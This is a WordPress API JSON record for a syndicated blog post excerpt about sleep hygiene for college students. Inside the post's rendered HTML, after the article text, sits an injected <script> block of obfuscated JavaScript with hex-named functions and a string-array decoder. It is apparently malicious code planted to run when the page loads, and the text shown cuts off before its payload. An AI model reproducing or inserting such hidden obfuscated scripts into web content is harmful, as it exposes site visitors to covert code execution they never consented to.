{"id":155311,"date":"2023-03-07T14:40:38","date_gmt":"2023-03-07T14:40:38","guid":{"rendered":"https:\/\/workology.com\/?p=359627"},"modified":"2023-03-07T14:40:38","modified_gmt":"2023-03-07T14:40:38","slug":"sleep-hygiene-tips-for-a-healthy-slumber-in-college","status":"publish","type":"post","link":"https:\/\/squarehrwired.com\/index.php\/2023\/03\/07\/sleep-hygiene-tips-for-a-healthy-slumber-in-college\/","title":{"rendered":"Sleep Hygiene | Tips for a Healthy Slumber in College"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" width=\"2000\" height=\"1810\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2023\/03\/sleep-hygiene-tips-for-a-healthy-slumber-in-college.jpg\" class=\"attachment-post-thumbnail size-post-thumbnail wp-post-image\" alt=\"\" \/><\/p>\n<p>Sleep is a crucial biological function, although not prioritized by most college students. According to the national sleep foundation, young adults require between seven to eight hours of uninterrupted slumber each night. However, more than 30% of college students are not getting the sleep they need, with severe health and safety implications. The following evidence-based [&#8230;]<\/p>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/workology.com\/sleep-hygiene-tips-for-a-healthy-slumber-in-college\/\">Sleep Hygiene | Tips for a Healthy Slumber in College<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/workology.com\">Workology<\/a>.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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prioritized by most college students. According to the national sleep foundation, young adults require between seven to eight hours of uninterrupted slumber each night. However, more than 30% of college students are not getting the sleep they need, with severe health and safety implications. The following evidence-based [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":155312,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[388,362],"tags":[],"class_list":["post-155311","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-freelance","category-hr"],"_links":{"self":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts\/155311","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/comments?post=155311"}],"version-history":[{"count":0,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/posts\/155311\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/media\/155312"}],"wp:attachment":[{"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/media?parent=155311"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/categories?post=155311"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehrwired.com\/index.php\/wp-json\/wp\/v2\/tags?post=155311"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}